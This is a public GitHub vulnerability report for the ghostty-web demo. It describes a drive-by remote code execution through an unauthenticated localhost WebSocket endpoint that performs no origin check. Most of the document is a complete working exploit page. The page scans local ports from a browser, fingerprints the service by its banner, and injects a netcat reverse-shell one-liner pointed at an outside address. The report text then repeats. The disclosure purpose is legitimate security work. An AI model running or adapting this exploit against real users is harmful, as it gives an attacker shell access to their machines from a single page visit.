⚠️ Note to maintainers: I attempted to report this through GitHub's private Security Advisory workflow, but the Security tab seems not enabled. I am therefore filing this as a public issue. I strongly recommend enabling Private vulnerability reporting so that future vulnerabilities can be disclosed privately.
Summary
If a user attempts to use the command provided in the README.md documentation (npx @ghostty-web/demo@next), they are vulnerable to an RCE.
The ghostty-web WebSocket endpoint (/ws) accepts arbitrary terminal input from any origin without authentication or origin validation. An attacker who can convince a user to visit a malicious webpage (or who can inject HTML/JS into any page loaded in the same browser) can locate the running instance via a localhost port scan and send arbitrary commands to the underlying shell, achieving full Remote Code Execution.
Affected component
WebSocket handler serving the terminal session on the /ws path.
Root cause
Three issues combine into an exploitable chain:
- No authentication: The
/ws endpoint requires no token, cookie, or secret to connect.
- No Origin / Host header check: Connections from any Web origin (including
http://evil.example) are accepted.
- Predictable local binding: The server listens on
127.0.0.1 on a port that can be enumerated from a browser via WebSocket probing (ports 1 to 10 000 in under 30 seconds).
Because browsers allow any page to open ws://127.0.0.1:<port>/ws, a malicious webpage can complete the full attack without any user interaction beyond opening the page.
Attack flow
- Attacker hosts (or injects) a page containing JavaScript.
- The script opens WebSocket connections to
ws://127.0.0.1:<port>/ws across a port range.
- It identifies the
ghostty-web instance by matching a known banner string in the first server message.
- Once located, it waits for the shell prompt to be ready, then writes an arbitrary command (e.g., a reverse-shell one-liner) as raw terminal input.
- The shell executes the command.
Minimal proof of concept
A self-contained HTML page exploit.html that automates the full chain (scan -> identify -> exploit) is attached / available below.
To reproduce:
- Start
ghostty-web using the command provided in the documentation (npx @ghostty-web/demo@next).
- Open the PoC HTML file in any browser on the same host.
- Observe. The script finds the open port, connects, and sends terminal input.
- Verify command execution (e.g., check for
/tmp/POC or the incoming netcat connection).
The PoC file (exploit.html) is available alongside this issue. It scans ports 1 to 10 000 with 150 concurrent WebSocket probes, identifies the instance by its welcome banner, then sends a payload after an idle timeout.
POC (video)
Here is a video demonstrating the problem
exploit.html
File: exploit.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ghostty-web port scanner</title>
<style>
body { font: 13px/1.4 ui-monospace, Menlo, monospace; margin: 1rem; background: #111; color: #eee; }
#log { white-space: pre-wrap; }
.hit { color: #7CFC00; font-weight: bold; }
.err { color: #f66; }
.info { color: #8ab4ff; }
</style>
</head>
<body>
<div id="log"></div>
<script>
const START = 1;
const END = 10000;
const CONCURRENCY = 150;
const PATH = "/ws";
const TARGET = "Welcome to ghostty-web!";
const PROBE_TIMEOUT_MS = 3000;
const PAYLOAD = "\nid > /tmp/POC;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.64.1 1337 >/tmp/f\n";
const logEl = document.getElementById("log");
function log(msg, cls) {
const line = document.createElement("div");
if (cls) line.className = cls;
line.textContent = `[${new Date().toISOString().slice(11, 23)}] ${msg}`;
logEl.appendChild(line);
window.scrollTo(0, document.body.scrollHeight);
}
let found = null;
function probe(port, path, timeoutMs) {
return new Promise(resolve => {
let ws;
try {
ws = new WebSocket(`ws://127.0.0.1:${port}${path}`);
} catch {
return resolve({ port, ok: false });
}
const done = (ok, data) => {
clearTimeout(timer);
try { ws.close(); } catch {}
resolve({ port, ok, data });
};
const timer = setTimeout(() => done(false), timeoutMs);
let buf = "";
const handle = async ev => {
let chunk;
if (typeof ev.data === "string") chunk = ev.data;
else if (ev.data instanceof Blob) chunk = await ev.data.text();
else chunk = new TextDecoder().decode(ev.data);
buf += chunk;
if (buf.includes(TARGET)) done(true, buf);
};
ws.onmessage = ev => { handle(ev); };
ws.onerror = () => done(false);
ws.onclose = () => done(false);
});
}
async function scan() {
log(`Scanning 127.0.0.1 ports ${START}-${END} on ${PATH} (concurrency ${CONCURRENCY})`, "info");
const t0 = performance.now();
let next = START;
let scanned = 0;
const total = END - START + 1;
async function worker() {
while (!found) {
const port = next++;
if (port > END) return;
const res = await probe(port, PATH, PROBE_TIMEOUT_MS);
scanned++;
if (scanned % 250 === 0) log(`Progress: ${scanned}/${total} probed`, "info");
if (res.ok) {
found = res;
log(`HIT on port ${res.port}`, "hit");
return;
}
}
}
await Promise.all(Array.from({ length: CONCURRENCY }, () => worker()));
const ms = Math.round(performance.now() - t0);
if (found) log(`Found ghostty-web on port ${found.port} in ${ms} ms (${scanned} probed)`, "hit");
else log(`No match found in ${START}-${END} (scanned ${scanned}, ${ms} ms)`, "err");
}
function sendPayload(port, path) {
log(`Opening ws://127.0.0.1:${port}${path}`, "info");
const ws = new WebSocket(`ws://127.0.0.1:${port}${path}`);
ws.binaryType = "arraybuffer";
const IDLE_MS = 500;
let idleTimer = null;
let bytesRx = 0;
let msgCount = 0;
let payloadSent = false;
const schedulePayload = () => {
clearTimeout(idleTimer);
idleTimer = setTimeout(() => {
if (payloadSent || ws.readyState !== WebSocket.OPEN) return;
payloadSent = true;
log(`Idle for ${IDLE_MS}ms after ${msgCount} msgs / ${bytesRx} bytes -> sending PAYLOAD`, "info");
ws.send(PAYLOAD);
log(`Sent PAYLOAD to port ${port}`, "hit");
}, IDLE_MS);
};
ws.onopen = () => {
log(`Connected; waiting for initial bytes before sending`, "info");
schedulePayload();
};
ws.onmessage = async ev => {
let chunk;
if (typeof ev.data === "string") chunk = ev.data;
else if (ev.data instanceof Blob) chunk = await ev.data.text();
else chunk = new TextDecoder().decode(ev.data);
msgCount++;
bytesRx += chunk.length;
log(`<< ${JSON.stringify(chunk)}`);
if (!payloadSent) schedulePayload();
};
ws.onerror = () => log(`WebSocket error on port ${port}`, "err");
ws.onclose = c => { clearTimeout(idleTimer); log(`WebSocket closed (code ${c.code})`, "info"); };
}
window.addEventListener("load", async () => {
await scan();
if (found) sendPayload(found.port, PATH);
});
</script>
</body>
</html>
Summary
If a user attempts to use the command provided in the
README.mddocumentation (npx @ghostty-web/demo@next), they are vulnerable to an RCE.The
ghostty-webWebSocket endpoint (/ws) accepts arbitrary terminal input from any origin without authentication or origin validation. An attacker who can convince a user to visit a malicious webpage (or who can inject HTML/JS into any page loaded in the same browser) can locate the running instance via a localhost port scan and send arbitrary commands to the underlying shell, achieving full Remote Code Execution.Affected component
WebSocket handler serving the terminal session on the
/wspath.Root cause
Three issues combine into an exploitable chain:
/wsendpoint requires no token, cookie, or secret to connect.http://evil.example) are accepted.127.0.0.1on a port that can be enumerated from a browser via WebSocket probing (ports 1 to 10 000 in under 30 seconds).Because browsers allow any page to open
ws://127.0.0.1:<port>/ws, a malicious webpage can complete the full attack without any user interaction beyond opening the page.Attack flow
ws://127.0.0.1:<port>/wsacross a port range.ghostty-webinstance by matching a known banner string in the first server message.Minimal proof of concept
A self-contained HTML page exploit.html that automates the full chain (scan -> identify -> exploit) is attached / available below.
To reproduce:
ghostty-webusing the command provided in the documentation (npx @ghostty-web/demo@next)./tmp/POCor the incoming netcat connection).POC (video)
Here is a video demonstrating the problem
exploit.htmlFile:
exploit.html